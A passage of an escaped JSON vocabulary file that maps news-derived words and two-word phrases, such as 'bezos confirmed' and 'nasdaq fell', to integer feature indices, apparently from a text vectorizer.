\"378\": 205866,\n  \"advancing 19th\": 205867,\n  \"future surprises\": 205868,\n  \"lauren estranged\": 205869,\n  \"quit north\": 205870,\n  \"sarah hagey\": 205871,\n  \"support groups\": 205872,\n  \"alive proving\": 205873,\n  \"delong\": 205874,\n  \"continue\": 205875,\n  \"libby casey\": 205876,\n  \"tipsheet\": 205877,\n  \"insufficiently\": 205878,\n  \"rich selling\": 205879,\n  \"bans artificial\": 205880,\n  \"mexican government\": 205881,\n  \"vms\": 205882,\n  \"mackenzie reporters\": 205883,\n  \"unfavorable opinion\": 205884,\n  \"people agree\": 205885,\n  \"fast free\": 205886,\n  \"presidential term\": 205887,\n  \"military training\": 205888,\n  \"complete set\": 205889,\n  \"great pleasures\": 205890,\n  \"ap reuters\": 205891,\n  \"perpetual\": 205892,\n  \"grow lot\": 205893,\n  \"agencies tracking\": 205894,\n  \"sales slowed\": 205895,\n  \"politicians enamored\": 205896,\n  \"economy learning\": 205897,\n  \"despite hurricane\": 205898,\n  \"reporters continued\": 205899,\n  \"045\": 205900,\n  \"jr aut_usrid\": 205901,\n  \"behaviour\": 205902,\n  \"discretionary spending\": 205903,\n  \"wielding democrat\": 205904,\n  \"rate minus\": 205905,\n  \"saudi glossy\": 205906,\n  \"hope georgetown\": 205907,\n  \"commuter terminals\": 205908,\n  \"famous spacex\": 205909,\n  \"pronounced lobbying\": 205910,\n  \"michael twitty\": 205911,\n  \"diligent notetaker\": 205912,\n  \"recent volatility\": 205913,\n  \"letter imploring\": 205914,\n  \"cofounders\": 205915,\n  \"talked trump\": 205916,\n  \"511 shares\": 205917,\n  \"presence rule\": 205918,\n  \"news expose\": 205919,\n  \"households seeking\": 205920,\n  \"workers strike\": 205921,\n  \"men julian\": 205922,\n  \"1043et copyright\": 205923,\n  \"water instead\": 205924,\n  \"conspiracy claims\": 205925,\n  \"just republican\": 205926,\n  \"infrastructure moniker\": 205927,\n  \"withholdings chicago\": 205928,\n  \"moss jeremoss\": 205929,\n  \"customized postage\": 205930,\n  \"google follow\": 205931,\n  \"near youngstown\": 205932,\n  \"government remain\": 205933,\n  \"worldwide broadcast\": 205934,\n  \"reversion\": 205935,\n  \"story teslas\": 205936,\n  \"youngest poppy\": 205937,\n  \"net andrew\": 205938,\n  \"trending amazon\": 205939,\n  \"president going\": 205940,\n  \"vendors adopt\": 205941,\n  \"news spat\": 205942,\n  \"ongoing\": 205943,\n  \"emphatically\": 205944,\n  \"175\": 205945,\n  \"legal controversy\": 205946,\n  \"behaviour raid\": 205947,\n  \"fundraising goals\": 205948,\n  \"senate seats\": 205949,\n  \"pecker pics\": 205950,\n  \"money saving\": 205951,\n  \"homebuilding created\": 205952,\n  \"acquiring land\": 205953,\n  \"ample resources\": 205954,\n  \"prime administration\": 205955,\n  \"reactid\": 205956,\n  \"familiarity\": 205957,\n  \"kabir mozart\": 205958,\n  \"announced suit\": 205959,\n  \"report significant\": 205960,\n  \"pose\": 205961,\n  \"abused wh\": 205962,\n  \"country read\": 205963,\n  \"york failed\": 205964,\n  \"negative financial\": 205965,\n  \"advisors bgsa\": 205966,\n  \"resumes\": 205967,\n  \"larger sales\": 205968,\n  \"punchiest punchlines\": 205969,\n  \"sunshine\": 205970,\n  \"heavy rains\": 205971,\n  \"online furniture\": 205972,\n  \"million illion\": 205973,\n  \"accounted\": 205974,\n  \"bri\": 205975,\n  \"email accounts\": 205976,\n  \"ultramillionaires\": 205977,\n  \"military style\": 205978,\n  \"liberal democrats\": 205979,\n  \"commission whistleblower\": 205980,\n  \"angry women\": 205981,\n  \"comienza\": 205982,\n  \"set deadline\": 205983,\n  \"million new\": 205984,\n  \"action committees\": 205985,\n  \"shipping make\": 205986,\n  \"motor north\": 205987,\n  \"rating trump\": 205988,\n  \"story turkish\": 205989,\n  \"word isn\": 205990,\n  \"general population\": 205991,\n  \"freshman democratic\": 205992,\n  \"invest just\": 205993,\n  \"caught trying\": 205994,\n  \"nasdaq sharply\": 205995,\n  \"chief probe\": 205996,\n  \"planned china\": 205997,\n  \"multiple diverse\": 205998,\n  \"examiner aug\": 205999,\n  \"visible generation\": 206000,\n  \"bezos confirmed\": 206001,\n  \"parties released\": 206002,\n  \"decision drivers\": 206003,\n  \"known contributions\": 206004,\n  \"crimes michelle\": 206005,\n  \"assortment\": 206006,\n  \"content congrats\": 206007,\n  \"company stated\": 206008,\n  \"colorado united\": 206009,\n  \"retirement account\": 206010,\n  \"buffett longtime\": 206011,\n  \"rail set\": 206012,\n  \"journalists looking\": 206013,\n  \"president falls\": 206014,\n  \"broad measures\": 206015,\n  \"trump behaving\": 206016,\n  \"close elections\": 206017,\n  \"iv\\u00e1n duque\": 206018,\n  \"nyc small\": 206019,\n  \"lower tax\": 206020,\n  \"include companies\": 206021,\n  \"computing contracts\": 206022,\n  \"agencies monitoring\": 206023,\n  \"numerous data\": 206024,\n  \"latest edition\": 206025,\n  \"uh sir\": 206026,\n  \"seen msnbc\": 206027,\n  \"anker qi\": 206028,\n  \"dod department\": 206029,\n  \"pelosi disdainfully\": 206030,\n  \"leftists ledge\": 206031,\n  \"deadly camp\": 206032,\n  \"capital doesn\": 206033,\n  \"post employee\": 206034,\n  \"born trump\": 206035,\n  \"dog les\": 206036,\n  \"president explained\": 206037,\n  \"commerce behemoth\": 206038,\n  \"staple\": 206039,\n  \"dow dropped\": 206040,\n  \"msnbc ruhle\": 206041,\n  \"professional support\": 206042,\n  \"left guardian\": 206043,\n  \"vocal critics\": 206044,\n  \"widespread conflicts\": 206045,\n  \"test\": 206046,\n  \"charter flight\": 206047,\n  \"power especially\": 206048,\n  \"trump quite\": 206049,\n  \"rank buy\": 206050,\n  \"representatives looking\": 206051,\n  \"president planned\": 206052,\n  \"vote myrtle\": 206053,\n  \"performance copyright\": 206054,\n  \"convert\": 206055,\n  \"bigger contract\": 206056,\n  \"owned subsidiary\": 206057,\n  \"administration stopped\": 206058,\n  \"foiled\": 206059,\n  \"forth presume\": 206060,\n  \"jedi award\": 206061,\n  \"marginalized americans\": 206062,\n  \"lawyer\": 206063,\n  \"bear repellant\": 206064,\n  \"standalone\": 206065,\n  \"cronyism success\": 206066,\n  \"power utilities\": 206067,\n  \"consultancy firm\": 206068,\n  \"sprinkled\": 206069,\n  \"read patchen\": 206070,\n  \"lack sufficient\": 206071,\n  \"a4ee r0\": 206072,\n  \"7172\": 206073,\n  \"investors need\": 206074,\n  \"200 cities\": 206075,\n  \"164 billion\": 206076,\n  \"low volatility\": 206077,\n  \"behemoth benefits\": 206078,\n  \"media title\": 206079,\n  \"befitting sitting\": 206080,\n  \"answer addition\": 206081,\n  \"personalities mika\": 206082,\n  \"shopping feature\": 206083,\n  \"follow scott\": 206084,\n  \"gauges futures\": 206085,\n  \"fully autonomous\": 206086,\n  \"1539185302\": 206087,\n  \"market opens\": 206088,\n  \"minimum month\": 206089,\n  \"perks joining\": 206090,\n  \"payer\": 206091,\n  \"based trader\": 206092,\n  \"celebratory period\": 206093,\n  \"lie fueled\": 206094,\n  \"closely follows\": 206095,\n  \"shutdown meeting\": 206096,\n  \"slice r4ee\": 206097,\n  \"international\": 206098,\n  \"stop busting\": 206099,\n  \"star getty\": 206100,\n  \"contains series\": 206101,\n  \"farrow tweeted\": 206102,\n  \"selling tech\": 206103,\n  \"warned britain\": 206104,\n  \"suspiria photo\": 206105,\n  \"busily\": 206106,\n  \"saying instead\": 206107,\n  \"powerful funders\": 206108,\n  \"volume history\": 206109,\n  \"meaning americans\": 206110,\n  \"total rating\": 206111,\n  \"yesterday bezos\": 206112,\n  \"trumplandia\": 206113,\n  \"jedi amazon\": 206114,\n  \"660 1874\": 206115,\n  \"created little\": 206116,\n  \"tech mega\": 206117,\n  \"long shootout\": 206118,\n  \"simply gone\": 206119,\n  \"calculations\": 206120,\n  \"club selection\": 206121,\n  \"box today\": 206122,\n  \"potentially harm\": 206123,\n  \"sessions begin\": 206124,\n  \"lawmaker representing\": 206125,\n  \"bananas pineapple\": 206126,\n  \"desist\": 206127,\n  \"tariff concerns\": 206128,\n  \"potential inquiry\": 206129,\n  \"buildings going\": 206130,\n  \"bestselling 2013\": 206131,\n  \"department washington\": 206132,\n  \"shakeup\": 206133,\n  \"claiming just\": 206134,\n  \"secure favors\": 206135,\n  \"debit card\": 206136,\n  \"culp\": 206137,\n  \"human existence\": 206138,\n  \"375 shares\": 206139,\n  \"penetration\": 206140,\n  \"charts suggest\": 206141,\n  \"maybe lower\": 206142,\n  \"stories original\": 206143,\n  \"weekday\": 206144,\n  \"murder investigation\": 206145,\n  \"deriding amazon\": 206146,\n  \"address close\": 206147,\n  \"money isn\": 206148,\n  \"novel good\": 206149,\n  \"marcophones expose\": 206150,\n  \"watch starring\": 206151,\n  \"company ties\": 206152,\n  \"nomination fight\": 206153,\n  \"neighborhoods long\": 206154,\n  \"inspired shirts\": 206155,\n  \"happy ceo\": 206156,\n  \"pantomime fake\": 206157,\n  \"trump nemesis\": 206158,\n  \"proven disastrous\": 206159,\n  \"longform\": 206160,\n  \"communities finally\": 206161,\n  \"investigation wrote\": 206162,\n  \"periodic\": 206163,\n  \"black people\": 206164,\n  \"expect big\": 206165,\n  \"father decides\": 206166,\n  \"disproportionately affect\": 206167,\n  \"scale deforestation\": 206168,\n  \"canadians absolutely\": 206169,\n  \"fourth richest\": 206170,\n  \"pictures facts\": 206171,\n  \"fair vanity\": 206172,\n  \"storage members\": 206173,\n  \"disclosure cramer\": 206174,\n  \"carriers just\": 206175,\n  \"aws enterprise\": 206176,\n  \"mortgage victims\": 206177,\n  \"reported received\": 206178,\n  \"niles niemuth\": 206179,\n  \"personal email\": 206180,\n  \"commission investigation\": 206181,\n  \"reported purdue\": 206182,\n  \"fileting ami\": 206183,\n  \"ac360 jeffrey\": 206184,\n  \"outstanding personality\": 206185,\n  \"politics abcpolitics\": 206186,\n  \"employees business\": 206187,\n  \"debris\": 206188,\n  \"personal accounts\": 206189,\n  \"rancor president\": 206190,\n  \"naturally curios\": 206191,\n  \"citizen services\": 206192,\n  \"adversely affected\": 206193,\n  \"key topics\": 206194,\n  \"factories\": 206195,\n  \"pork keurig\": 206196,\n  \"grooming antoni\": 206197,\n  \"publisher donald\": 206198,\n  \"started playing\": 206199,\n  \"trump mcmaster\": 206200,\n  \"bush defense\": 206201,\n  \"chief inside\": 206202,\n  \"toilet plungers\": 206203,\n  \"guadagnino suspiria\": 206204,\n  \"textiles\": 206205,\n  \"drivers work\": 206206,\n  \"elections looking\": 206207,\n  \"pusha\": 206208,\n  \"inject fresh\": 206209,\n  \"wesfarmers\": 206210,\n  \"processor\": 206211,\n  \"commentator scottie\": 206212,\n  \"vaccine massachusetts\": 206213,\n  \"research abramson\": 206214,\n  \"era decline\": 206215,\n  \"lampert\": 206216,\n  \"inc_custom_footer\": 206217,\n  \"cool treats\": 206218,\n  \"rohingya\": 206219,\n  \"stalked\": 206220,\n  \"countdown clock\": 206221,\n  \"advanced research\": 206222,\n  \"jaloe freepressmedia\": 206223,\n  \"tgiles5 bloomberg\": 206224,\n  \"perceived unfairness\": 206225,\n  \"countless new\": 206226,\n  \"reader complaints\": 206227,\n  \"war dave\": 206228,\n  \"goat\": 206229,\n  \"sellers manage\": 206230,\n  \"company core\": 206231,\n  \"journal constitution\": 206232,\n  \"veteran 2018\": 206233,\n  \"care growth\": 206234,\n  \"facebook having\": 206235,\n  \"g7a b7a\": 206236,\n  \"kilberg\": 206237,\n  \"potential competitors\": 206238,\n  \"requesting\": 206239,\n  \"washer tariffs\": 206240,\n  \"771959\": 206241,\n  \"glaringly evident\": 206242,\n  \"overcoming months\": 206243,\n  \"city area\": 206244,\n  \"band records\": 206245,\n  \"quickly turned\": 206246,\n  \"commercial service\": 206247,\n  \"reasoned counterarguments\": 206248,\n  \"incident runs\": 206249,\n  \"voice workplace\": 206250,\n  \"costs continue\": 206251,\n  \"putting amazon\": 206252,\n  \"started construction\": 206253,\n  \"light cloak\": 206254,\n  \"encourage banks\": 206255,\n  \"advertisers\": 206256,\n  \"minting billions\": 206257,\n  \"tech censorship\": 206258,\n  \"authorization amazon\": 206259,\n  \"employees work\": 206260,\n  \"immigrants sic\": 206261,\n  \"stage according\": 206262,\n  \"soul sucking\": 206263,\n  \"porn crime\": 206264,\n  \"book\": 206265,\n  \"actually paying\": 206266,\n  \"monumental affect\": 206267,\n  \"turn charity\": 206268,\n  \"execs quit\": 206269,\n  \"public places\": 206270,\n  \"experts close\": 206271,\n  \"company investing\": 206272,\n  \"make timely\": 206273,\n  \"marvin\": 206274,\n  \"morgan analyst\": 206275,\n  \"crushed\": 206276,\n  \"irises\": 206277,\n  \"fair shot\": 206278,\n  \"entrepreneurs subprime\": 206279,\n  \"security cooperation\": 206280,\n  \"major benchmarks\": 206281,\n  \"spitz penguin\": 206282,\n  \"2_5\": 206283,\n  \"grassley charged\": 206284,\n  \"klobuchar approach\": 206285,\n  \"park opening\": 206286,\n  \"likes math\": 206287,\n  \"information hiring\": 206288,\n  \"nokia says\": 206289,\n  \"longterm\": 206290,\n  \"contain confidential\": 206291,\n  \"michael says\": 206292,\n  \"sports betting\": 206293,\n  \"tax advantage\": 206294,\n  \"virginia lured\": 206295,\n  \"potatoes bananas\": 206296,\n  \"trump patriarch\": 206297,\n  \"harris posted\": 206298,\n  \"default slot\": 206299,\n  \"spineless senators\": 206300,\n  \"personality turned\": 206301,\n  \"starring anthony\": 206302,\n  \"truck brokerage\": 206303,\n  \"razor sharp\": 206304,\n  \"season later\": 206305,\n  \"lianga\": 206306,\n  \"krugman bosses\": 206307,\n  \"gain risk\": 206308,\n  \"bible instruction\": 206309,\n  \"secrets\": 206310,\n  \"challenge coin\": 206311,\n  \"book specifically\": 206312,\n  \"function o4\": 206313,\n  \"stephen carter\": 206314,\n  \"quarter gross\": 206315,\n  \"attacks cnbc\": 206316,\n  \"inbox sign\": 206317,\n  \"caused stir\": 206318,\n  \"itep explained\": 206319,\n  \"2018 amazon\": 206320,\n  \"callender conagra\": 206321,\n  \"compelling rebuttals\": 206322,\n  \"fashion week\": 206323,\n  \"high fuel\": 206324,\n  \"president probably\": 206325,\n  \"nixon drawn\": 206326,\n  \"shades plus\": 206327,\n  \"giant wpp\": 206328,\n  \"collide\": 206329,\n  \"pesticides chemotherapy\": 206330,\n  \"helps parents\": 206331,\n  \"docked\": 206332,\n  \"haven brought\": 206333,\n  \"sincero amazon\": 206334,\n  \"kept using\": 206335,\n  \"redman managing\": 206336,\n  \"horse race\": 206337,\n  \"trump extramarital\": 206338,\n  \"sized metros\": 206339,\n  \"hundreds\": 206340,\n  \"air fryer\": 206341,\n  \"fisher senior\": 206342,\n  \"economic research\": 206343,\n  \"molly ball\": 206344,\n  \"syria told\": 206345,\n  \"howorth\": 206346,\n  \"shares increasing\": 206347,\n  \"york hq2\": 206348,\n  \"metcalf bloomberg\": 206349,\n  \"felt betrayed\": 206350,\n  \"replace soy\": 206351,\n  \"telling engaging\": 206352,\n  \"huawei 2019\": 206353,\n  \"mobile payments\": 206354,\n  \"eqr\": 206355,\n  \"holding invitation\": 206356,\n  \"settlement read\": 206357,\n  \"social visionaries\": 206358,\n  \"school students\": 206359,\n  \"word steve\": 206360,\n  \"hall includes\": 206361,\n  \"annual economic\": 206362,\n  \"company warns\": 206363,\n  \"violates facebook\": 206364,\n  \"wry dry\": 206365,\n  \"notably gov\": 206366,\n  \"divided town\": 206367,\n  \"economy long\": 206368,\n  \"allan\": 206369,\n  \"complaints concluding\": 206370,\n  \"group excluded\": 206371,\n  \"sasahara second\": 206372,\n  \"paradise think\": 206373,\n  \"titan links\": 206374,\n  \"business strategy\": 206375,\n  \"quite uncharacteristic\": 206376,\n  \"earns overseas\": 206377,\n  \"button\": 206378,\n  \"discussing beards\": 206379,\n  \"deliveroo largest\": 206380,\n  \"transactional engine\": 206381,\n  \"amazon thesis\": 206382,\n  \"238876\": 206383,\n  \"leaves children\": 206384,\n  \"reams\": 206385,\n  \"european summit\": 206386,\n  \"matt dunham\": 206387,\n  \"taking shots\": 206388,\n  \"comedy stand\": 206389,\n  \"award storied\": 206390,\n  \"christoff heather\": 206391,\n  \"united states\": 206392,\n  \"convention center\": 206393,\n  \"potential regimes\": 206394,\n  \"kutlu new\": 206395,\n  \"voters bought\": 206396,\n  \"did admit\": 206397,\n  \"kodali vice\": 206398,\n  \"animal care\": 206399,\n  \"lowe\": 206400,\n  \"officially launched\": 206401,\n  \"plunging\": 206402,\n  \"better reviews\": 206403,\n  \"changing prices\": 206404,\n  \"people say\": 206405,\n  \"tommaso\": 206406,\n  \"longs\": 206407,\n  \"used clos\": 206408,\n  \"sweeping swooping\": 206409,\n  \"christmas rush\": 206410,\n  \"winter\": 206411,\n  \"quoting ocasio\": 206412,\n  \"caused concern\": 206413,\n  \"major brick\": 206414,\n  \"ticked trump\": 206415,\n  \"processed gelatin\": 206416,\n  \"massive blowback\": 206417,\n  \"amnesty iran\": 206418,\n  \"ccpa\": 206419,\n  \"day ahead\": 206420,\n  \"mosley atlantic\": 206421,\n  \"treated pretty\": 206422,\n  \"away councilman\": 206423,\n  \"amazon best\": 206424,\n  \"irish\": 206425,\n  \"giant carries\": 206426,\n  \"nickelsburg amazon\": 206427,\n  \"annual forbes\": 206428,\n  \"brk\": 206429,\n  \"using aws\": 206430,\n  \"women centric\": 206431,\n  \"public network\": 206432,\n  \"idealistic\": 206433,\n  \"giant corporations\": 206434,\n  \"rocket flew\": 206435,\n  \"hb40 marching\": 206436,\n  \"retirement savings\": 206437,\n  \"risk alienating\": 206438,\n  \"carell smirked\": 206439,\n  \"unfair schedules\": 206440,\n  \"letter shocking\": 206441,\n  \"largest political\": 206442,\n  \"showtime jim\": 206443,\n  \"2018 brave\": 206444,\n  \"recent chapter\": 206445,\n  \"adding health\": 206446,\n  \"orange prize\": 206447,\n  \"niece\": 206448,\n  \"change reportage\": 206449,\n  \"price hikes\": 206450,\n  \"secretary rob\": 206451,\n  \"farrow claimed\": 206452,\n  \"road infrastructure\": 206453,\n  \"citrix systems\": 206454,\n  \"author pat\": 206455,\n  \"employ\": 206456,\n  \"filmmagic washington\": 206457,\n  \"product director\": 206458,\n  \"bone legacy\": 206459,\n  \"farrell\": 206460,\n  \"mike whatshisname\": 206461,\n  \"leases half\": 206462,\n  \"teaches french\": 206463,\n  \"misled vermont\": 206464,\n  \"house established\": 206465,\n  \"today snap\": 206466,\n  \"kaster\": 206467,\n  \"2014 aws\": 206468,\n  \"trade hopes\": 206469,\n  \"steve carell\": 206470,\n  \"khashoggi american\": 206471,\n  \"documents survivors\": 206472,\n  \"highly regarded\": 206473,\n  \"investors reuters\": 206474,\n  \"example democrats\": 206475,\n  \"charles rivkin\": 206476,\n  \"jxhnbinder\": 206477,\n  \"picks data\": 206478,\n  \"industry grow\": 206479,\n  \"potential removal\": 206480,\n  \"apple iphones\": 206481,\n  \"gardner told\": 206482,\n  \"rivals california\": 206483,\n  \"administrative work\": 206484,\n  \"brennan interview\": 206485,\n  \"60bn\": 206486,\n  \"castigates\": 206487,\n  \"incyte\": 206488,\n  \"construction jobs\": 206489,\n  \"skater accused\": 206490,\n  \"tech entertainment\": 206491,\n  \"social democratic\": 206492,\n  \"president trusts\": 206493,\n  \"senator mazie\": 206494,\n  \"company speaks\": 206495,\n  \"unicorn silicon\": 206496,\n  \"kelly played\": 206497,\n  \"mobile power\": 206498,\n  \"months view\": 206499,\n  \"coalition addressed\": 206500,\n  \"trumpshocking\": 206501,\n  \"depression record\": 206502,\n  \"google refuted\": 206503,\n  \"biggest recent\": 206504,\n  \"grazed\": 206505,\n  \"tabloid stories\": 206506,\n  \"brief big\": 206507,\n  \"wasn really\": 206508,\n  \"new security\": 206509,\n  \"93f hours\": 206510,\n  \"helps workers\": 206511,\n  \"eu especially\": 206512,\n  \"trump read\": 206513,\n  \"fee walmart\": 206514,\n  \"355\": 206515,\n  \"deal charlie\": 206516,\n  \"video game\": 206517,\n  \"unrest\": 206518,\n  \"printing\": 206519,\n  \"bring foundational\": 206520,\n  \"partners limited\": 206521,\n  \"relevant documentary\": 206522,\n  \"policy meeting\": 206523,\n  \"rubenstein decided\": 206524,\n  \"subsidize jobs\": 206525,\n  \"recognizes ms\": 206526,\n  \"isn able\": 206527,\n  \"trump replied\": 206528,\n  \"busting nonprofit\": 206529,\n  \"funded palantir\": 206530,\n  \"combination chart\": 206531,\n  \"wisconsin campus\": 206532,\n  \"statement scott\": 206533,\n  \"future poses\": 206534,\n  \"federal purchasing\": 206535,\n  \"agenda according\": 206536,\n  \"saw big\": 206537,\n  \"atwood\": 206538,\n  \"credit screen\": 206539,\n  \"netflix certainly\": 206540,\n  \"eventually raising\": 206541,\n  \"conversation energy\": 206542,\n  \"modicum\": 206543,\n  \"propaganda tech\": 206544,\n  \"disassociate\": 206545,\n  \"jonathan loyalist\": 206546,\n  \"antonio burn\": 206547,\n  \"situation president\": 206548,\n  \"undateable\": 206549,\n  \"pay bunch\": 206550,\n  \"markets washington\": 206551,\n  \"obviously confirming\": 206552,\n  \"catch missing\": 206553,\n  \"housing just\": 206554,\n  \"toinvoke\": 206555,\n  \"capone rat\": 206556,\n  \"divorce college\": 206557,\n  \"markets dropped\": 206558,\n  \"observer editorial\": 206559,\n  \"seventh annual\": 206560,\n  \"party markets\": 206561,\n  \"painted\": 206562,\n  \"especially low\": 206563,\n  \"weisz\": 206564,\n  \"branch employees\": 206565,\n  \"roughly billion\": 206566,\n  \"positions troubling\": 206567,\n  \"roosevelt book\": 206568,\n  \"stewart denver\": 206569,\n  \"retail cnn\": 206570,\n  \"near intraday\": 206571,\n  \"times share\": 206572,\n  \"day strike\": 206573,\n  \"china hits\": 206574,\n  \"big plane\": 206575,\n  \"2018 biggest\": 206576,\n  \"meyersohn cnn\": 206577,\n  \"uri cdn\": 206578,\n  \"lf3 type\": 206579,\n  \"hq el\": 206580,\n  \"correspondent scott\": 206581,\n  \"taobao chinese\": 206582,\n  \"addresses news\": 206583,\n  \"doesn\": 206584,\n  \"president ordered\": 206585,\n  \"guardian tech\": 206586,\n  \"waterways directly\": 206587,\n  \"plazas\": 206588,\n  \"estimate kroger\": 206589,\n  \"muir 47m\": 206590,\n  \"ineffectual\": 206591,\n  \"substantially smaller\": 206592,\n  \"analytics company\": 206593,\n  \"road ahead\": 206594,\n  \"taxes russia\": 206595,\n  \"popularity worldwide\": 206596,\n  \"weight 2017\": 206597,\n  \"necessary\": 206598,\n  \"videotape diana\": 206599,\n  \"just erased\": 206600,\n  \"company holistic\": 206601,\n  \"tech chief\": 206602,\n  \"gov larry\": 206603,\n  \"follow caleb\": 206604,\n  \"permanently\": 206605,\n  \"siegler\": 206606,\n  \"trump criticizes\": 206607,\n  \"statement abramson\": 206608,\n  \"aws platform\": 206609,\n  \"high turnout\": 206610,\n  \"jennifer granholm\": 206611,\n  \"everybody immediately\": 206612,\n  \"actually takes\": 206613,\n  \"allen\": 206614,\n  \"postal worker\": 206615,\n  \"sitting near\": 206616,\n  \"home arena\": 206617,\n  \"var\": 206618,\n  \"tabloid paper\": 206619,\n  \"freeman sexually\": 206620,\n  \"sector brazil\": 206621,\n  \"curbing future\": 206622,\n  \"journalism\": 206623,\n  \"unfamiliar society\": 206624,\n  \"story tinder\": 206625,\n  \"smal businesses\": 206626,\n  \"advanced love\": 206627,\n  \"publication buys\": 206628,\n  \"chau\": 206629,\n  \"anonymous buyer\": 206630,\n  \"tolerance carson\": 206631,\n  \"issue helps\": 206632,\n  \"relatively strong\": 206633,\n  \"provide customers\": 206634,\n  \"service backup\": 206635,\n  \"dangerous place\": 206636,\n  \"generation military\": 206637,\n  \"lands commend\": 206638,\n  \"twist trump\": 206639,\n  \"postal monopoly\": 206640,\n  \"gasol\": 206641,\n  \"fighter planes\": 206642,\n  \"main motivations\": 206643,\n  \"local groups\": 206644,\n  \"uber generous\": 206645,\n  \"signalling\": 206646,\n  \"nasdaq fell\": 206647,\n  \"overrides thumb\": 206648,\n  \"open\": 206649,\n  \"smoke getty\": 206650,\n  \"house formed\": 206651,\n  \"notable follow\": 206652,\n  \"clyburn\": 206653,\n  \"flash photograph\": 206654,\n  \"infringing product\": 206655,\n  \"nirvana\": 206656,\n  \"industrial common\": 206657,\n  \"cheapskates\": 206658,\n  \"divorce bloomberg\": 206659,\n  \"whistleblower program\": 206660,\n  \"feel fortunate\": 206661,\n  \"did reference\": 206662,\n  \"evening tweet\": 206663,\n  \"grace kelly\": 206664,\n  \"trump fury\": 206665,\n  \"erik\": 206666,\n  \"republican dealmaker\": 206667,\n  \"commercial instead\": 206668,\n  \"include ownership\": 206669,\n  \"consistently funny\": 206670,\n  \"pods permanent\": 206671,\n  \"open economy\": 206672,\n  \"host jeanine\": 206673,\n  \"adds significant\": 206674,\n  \"follow josh\": 206675,\n  \"year thank\": 206676,\n  \"loading\": 206677,\n  \"montana\": 206678,\n  \"ship billions\": 206679,\n  \"dakota wayfair\": 206680,\n  \"office 2019\": 206681,\n  \"375 page\": 206682,\n  \"hatch musicmodernizationact\": 206683,\n  \"arkin deals\": 206684,\n  \"christian broadcasting\": 206685,\n  \"team signals\": 206686,\n  \"satisfaction\": 206687,\n  \"mouthed\": 206688,\n  \"uber controls\": 206689,\n  \"experts worry\": 206690,\n  \"raleigh\": 206691,\n  \"faces stiff\": 206692,\n  \"error ehrat\": 206693,\n  \"docs google\": 206694,\n  \"amazon historic\": 206695,\n  \"cn__column carousel__content__item\": 206696,\n  \"councilmember teresa\": 206697,\n  \"rooted online\": 206698,\n  \"sensationalist fare\": 206699,\n  \"volume followed\": 206700,\n  \"prosecuters\": 206701,\n  \"latest inflatable\": 206702,\n  \"terrorism\": 206703,\n  \"digital consulting\": 206704,\n  \"friendly environment\": 206705,\n  \"hugh grant\": 206706,\n  \"articles constellation\": 206707,\n  \"neutrality controversy\": 206708,\n  \"plan alphabet\": 206709,\n  \"similar phrases\": 206710,\n  \"drinkers\": 206711,\n  \"oaktrees\": 206712,\n  \"lauren joining\": 206713,\n  \"contentious\": 206714,\n  \"amazing clarity\": 206715,\n  \"pinged\": 206716,\n  \"factor daimler\": 206717,\n  \"uncontested\": 206718,\n  \"public exchanges\": 206719,\n  \"identified amazon\": 206720,\n  \"contagious\": 206721,\n  \"markets inside\": 206722,\n  \"walmart experience\": 206723,\n  \"mettler\": 206724,\n  \"crisis russia\": 206725,\n  \"example research\": 206726,\n  \"looking wobbly\": 206727,\n  \"lemon tart\": 206728,\n  \"weighs just\": 206729,\n  \"police detective\": 206730,\n  \"secret ballistic\": 206731,\n  \"metoo movement\": 206732,\n  \"isn necessarily\": 206733,\n  \"reported previous\": 206734,\n  \"wiped\": 206735,\n  \"house reuters\": 206736,\n  \"daily slippery\": 206737,\n  \"296\": 206738,\n  \"taidafeng brush\": 206739,\n  \"couple wealth\": 206740,\n  \"largest asset\": 206741,\n  \"hasty new\": 206742,\n  \"mulkern\": 206743,\n  \"just stayed\": 206744,\n  \"portraying cuomo\": 206745,\n  \"individual tax\": 206746,\n  \"scola john\": 206747,\n  \"sessions introduced\": 206748,\n  \"currency nontariff\": 206749,\n  \"snooping executives\": 206750,\n  \"amazon oil\": 206751,\n  \"ohio amazon\": 206752,\n  \"agreeing hosts\": 206753,\n  \"great hurry\": 206754,\n  \"1926\": 206755,\n  \"created 100\": 206756,\n  \"amazon relied\": 206757,\n  \"amazing diversity\": 206758,\n  \"shooting minutes\": 206759,\n  \"approaching worst\": 206760,\n  \"capitol bureau\": 206761,\n  \"springer publishing\": 206762,\n  \"twitter kellytyko\": 206763,\n  \"little guy\": 206764,\n  \"working standards\": 206765,\n  \"mission creep\": 206766,\n  \"large quantities\": 206767,\n  \"medium sized\": 206768,\n  \"rhapsody glenn\": 206769,\n  \"containerid thumbnail\": 206770,\n  \"nutritional assistance\": 206771,\n  \"yi gang\": 206772,\n  \"romm drew\": 206773,\n  \"china digging\": 206774,\n  \"sap pinnacle\": 206775,\n  \"venezuela test\": 206776,\n  \"news careers\": 206777,\n  \"crime rice\": 206778,\n  \"pose hotstar\": 206779,\n  \"level wages\": 206780,\n  \"day winning\": 206781,\n  \"rebound wall\": 206782,\n  \"evolutionary scale\": 206783,\n  \"underlying ruling\": 206784,\n  \"amazon record\": 206785,\n  \"cleared forestland\": 206786,\n  \"lly\": 206787,\n  \"wait 2018\": 206788,\n  \"australia\": 206789,\n  \"internally\": 206790,\n  \"banff world\": 206791,\n  \"concerns according\": 206792,\n  \"dailytrust dailyquote\": 206793,\n  \"away trump\": 206794,\n  \"tiktok\": 206795,\n  \"boca raton\": 206796,\n  \"included cnn\": 206797,\n  \"australia biggest\": 206798,\n  \"hulu wrote\": 206799,\n  \"hegemony\": 206800,\n  \"joined new\": 206801,\n  \"shira note\": 206802,\n  \"noises\": 206803,\n  \"marital troubles\": 206804,\n  \"maximum warewashing\": 206805,\n  \"lowest rate\": 206806,\n  \"dollars michael\": 206807,\n  \"klippenstein noted\": 206808,\n  \"businesses pray\": 206809,\n  \"low pay\": 206810,\n  \"brennan hasn\": 206811,\n  \"skills\": 206812,\n  \"room danhof\": 206813,\n  \"landmark property\": 206814,\n  \"email address\": 206815,\n  \"despite research\": 206816,\n  \"2003\": 206817,\n  \"president reportedly\": 206818,\n  \"senator related\": 206819,\n  \"gigyashareelement jquery\": 206820,\n  \"remain upbeat\": 206821,\n  \"impartial journalists\": 206822,\n  \"continuously update\": 206823,\n  \"defeat dr\": 206824,\n  \"baird gewirtz\": 206825,\n  \"human intelligence\": 206826,\n  \"loved\": 206827,\n  \"news radio\": 206828,\n  \"foe google\": 206829,\n  \"fl include\": 206830,\n  \"tag products\": 206831,\n  \"buy bigger\": 206832,\n  \"obama crown\": 206833,\n  \"airport completed\": 206834,\n  \"1930s broke\": 206835,\n  \"later years\": 